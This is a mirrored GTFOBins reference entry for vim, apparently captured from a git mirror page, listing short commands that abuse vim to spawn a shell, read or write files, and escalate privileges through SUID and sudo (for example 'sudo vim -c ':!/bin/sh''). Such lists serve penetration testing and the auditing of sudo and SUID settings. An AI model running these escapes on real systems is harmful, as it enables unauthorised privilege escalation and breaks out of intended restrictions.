1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-01-01 21:21:40 +01:00
GTFOBins.github.io/_gtfobins/vim.md
2018-10-05 18:55:38 +01:00

346 B

functions
shell file-write file-read suid sudo
code
vim -c ':!/bin/sh'
code
vim :set shell=/bin/sh :shell
code
vim file_to_write iDATA ^[ w
code
vim file_to_read
code
./vim -c ':!/bin/sh -p'
code
sudo vim -c ':!/bin/sh'